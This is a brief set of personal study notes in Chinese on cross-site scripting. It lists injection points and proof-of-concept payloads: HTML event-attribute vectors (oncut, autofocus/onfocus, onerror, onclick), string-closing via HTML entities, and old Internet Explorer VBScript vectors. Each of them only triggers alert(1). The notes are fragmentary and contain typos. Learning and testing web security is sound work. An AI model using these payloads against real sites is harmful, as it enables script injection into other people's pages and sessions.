xss学习笔记

xss学习笔记

挖掘

触点

orign

1.inline-javascript
2.attribute
普通属性：oncut(用户剪切元素时触发ctrl+x触发)=alert(1) autofocus/onfocus(点一下）=alert(1)// nerror=alert(1)// onclick=alert(1)//
事件属性：使用html实体编码闭合js delfeedbak('')alert(1)//') &apos是个'
vbscript(ie) <![if<iframe/onload=vbs:alert[:]>
<img language=vbs src=<bonerror=alert#1/1#>
<script language=vbs></script><img src=xx:xonerror="::alert+'1'::"